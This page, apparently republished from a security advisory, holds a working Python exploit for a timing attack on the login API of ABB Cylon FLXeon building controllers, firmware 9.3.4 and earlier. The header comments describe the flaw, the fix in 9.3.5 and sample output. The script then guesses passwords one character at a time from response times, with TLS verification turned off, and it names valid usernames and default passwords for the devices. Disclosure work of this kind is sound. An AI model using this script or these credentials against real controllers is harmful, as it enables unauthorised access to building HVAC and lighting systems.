Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

#!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack
# #!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
# CBX Series (FLX Series)
# CBT Series
# CBV Series
# Firmware: <=9.3.4
#
# Summary: BACnet? Smart Building Controllers. ABB's BACnet portfolio features a
# series of BACnet? IP and BACnet MS/TP field controllers for ASPECT? and INTEGRA?
# building management solutions. ABB BACnet controllers are designed for intelligent
# control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
# heat pump systems, air handling units (constant volume, variable air volume, and
# multi-zone), rooftop units, electrical systems such as lighting control, variable
# frequency drives and metering.
#
# The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
# connectivity and open integration for your building automation systems. It's scalable,
# and modular, allowing you to control a diverse range of HVAC functions.
#
# Desc: A timing attack vulnerability exists in ABB Cylon FLXeon's authentication process
# due to improper comparison of password hashes in login.js and uukl.js. Specifically,
# the verifyPassword() function in login.js and the verify() function in uukl.js both
# calculate the password hash and compare it to the stored hash. In these implementations,
# small differences in response times are introduced based on how much of the password
# or the username matches the stored hash, making the system vulnerable to timing-based
# analysis.
#
# In the verifyPassword() function in login.js, the comparison is performed using (passwordHash !== hash),
# which can reveal subtle timing discrepancies depending on the number of matching characters
# between the calculated and stored hashes. Similarly, in uukl.js, the verify() function
# compares the calculated hash (const hash = md5sum.digest('hex');) to the saved hash
# using if (hash == savedHash). The time taken for these comparisons can vary based on the
# number of correct characters in the password, allowing an attacker to infer portions of
# the password by measuring response times.
#
# These vulnerabilities can be exploited by attackers to enumerate valid usernames and
# incrementally discover passwords. By analyzing the differences in response times, attackers
# can determine which characters of the password are correct. This can lead to information
# leakage, user enumeration, and password cracking. The timing differences between correct
# and incorrect passwords, combined with the use of simple conditional checks for hash
# comparisons, provide an opportunity for attackers to deduce valid portions of the password.
# This makes it easier for attackers to identify the correct password, especially when
# attempting to reset or change it.
#
# Network latency can introduce additional mismeasurement, affecting the accuracy of timing
# differences and potentially leading to false conclusions during the attack.
#
# Fix:
# Version: 9.3.5
# Introduced: crypto.timingSafeEqual() to apply constant-time comparison.
#
# -----------------------------------------------------
#
# $ ./ntime.py 7.3.3.1 --verbose # not a valid username
# [DEBUG] Initial check failed (HTTP 401)
# [DEBUG] Baseline time: 337 ms
# [1] Tried: changemea | Avg Response: 344 ms
# [2] Tried: changemeb | Avg Response: 333 ms
# [3] Tried: changemec | Avg Response: 333 ms
# [4] Tried: changemed | Avg Response: 344 ms
# [5] Tried: changemee | Avg Response: 328 ms
# [6] Tried: changemef | Avg Response: 333 ms
# [7] Tried: changemeg | Avg Response: 339 ms
# [8] Tried: changemeh | Avg Response: 333 ms
# [9] Tried: changemei | Avg Response: 333 ms
# [10] Tried: changemej | Avg Response: 322 ms
# ^C
# $ ./ntime.py 7.3.3.1 --verbose # valid username
# [DEBUG] Initial check failed (HTTP 401)
# [DEBUG] Baseline time: 599 ms
# [1] Tried: changemea | Avg Response: 672 ms
# [2] Tried: changemeb | Avg Response: 617 ms
# [3] Tried: changemec | Avg Response: 611 ms
# [4] Tried: changemed | Avg Response: 600 ms
# [5] Tried: changemee | Avg Response: 594 ms
# [6] Tried: changemef | Avg Response: 617 ms
# [7] Tried: changemeg | Avg Response: 600 ms
# [8] Tried: changemeh | Avg Response: 605 ms
# [9] Tried: changemei | Avg Response: 605 ms
# [10] Tried: changemej | Avg Response: 605 ms
#
# -----------------------------------------------------
#
# Tested on: Linux Kernel 5.4.27
# Linux Kernel 4.15.13
# NodeJS/8.4.0
# Express
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5925
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5925.php
# CWE ID: CWE-208 (Observable Timing Discrepancy)
# CWE URL: https://cwe.mitre.org/data/definitions/208.html
#
#
# 21.04.2024
#
#

from datetime import datetime
from statistics import mean
import threading
import requests
import string
import time
import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

proj = r"""
P R O J E C T

.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
?????????????????????????? ???????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
????????????????????????? ????????????
???????????????????????????????????????
??????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
????????????????????????? ????????????

ABB Cylon FLXeon Series <=9.3.4
NodeJS Timing Attack
ZSL-2025-5925
"""

print(proj)

if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <IP> [--verbose]")
sys.exit(1)

ip = sys.argv[1]
url = f"https://{ip}/api/login"
username = "rooot" # valid users: root, admin, cxpro
password = "changeme" # default pwds: cylonctl, siteguide
charset = string.ascii_lowercase + string.digits

verbose = "--verbose" in sys.argv

SAMPLES = 3 # number of samples for timing accuracy
BASELINE_SAMPLES = 5 # baseline measurement attempts

request_counter = 0
request_counter_lock = threading.Lock()

def ftime(seconds):
if seconds < 1:
return f"{seconds * 1000:.0f} ms"
else:
return f"{seconds:.2f} s"

def chkpwd():
global password
data = {"username": username, "password": password}
try:
response = requests.post(url, json=data, verify=False)
if response.status_code == 200:
print(f"[+] Password found instantly: {password}")
return True
elif verbose:
print(f"[DEBUG] Initial check failed (HTTP {response.status_code})")
except Exception as e:
print(f"[ERROR] Request failed: {e}")
return False

def measure(full_password):
timings = []
for _ in range(SAMPLES):
start = time.time()
try:
headers = {'Connection': 'close'}
response = requests.post(url, json={"username": username, "password": full_password},
verify=False, headers=headers)
response.text
except Exception as e:
return None
elapsed = time.time() - start
timings.append(elapsed)
return mean(timings)

def brutus():
global password

if chkpwd():
return

baseline_times = []
for _ in range(BASELINE_SAMPLES):
time = measure("wrong_password")
if time:
baseline_times.append(time)
baseline = mean(baseline_times) if baseline_times else 0

print(f"[DEBUG] Baseline time: {ftime(baseline)}")

for position in range(len(password), 17): # pwd length
best_char = None
best_time = baseline

for char in charset:
candidate = password + char
avg_time = measure(candidate)
if not avg_time:
continue

if verbose:
with request_counter_lock:
global request_counter
request_counter += 1
print(f"[{request_counter}] Tried: {candidate} | Avg Response: {ftime(avg_time)}")

if avg_time > best_time * 1.2: # 20% threshold
best_char = char
best_time = avg_time

if best_char:
password += best_char
print(f"[+] Progress: {password}")
data = {"username": username, "password": password}
response = requests.post(url, json=data, verify=False)
if response.status_code == 200:
print(f"[+] Password Found: {password}")
return
else:
print("[ERROR] No significant timing difference detected.")
break

if __name__ == "__main__":
start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"[+] Le script started at {start_time}")
brutus()

Social Media Share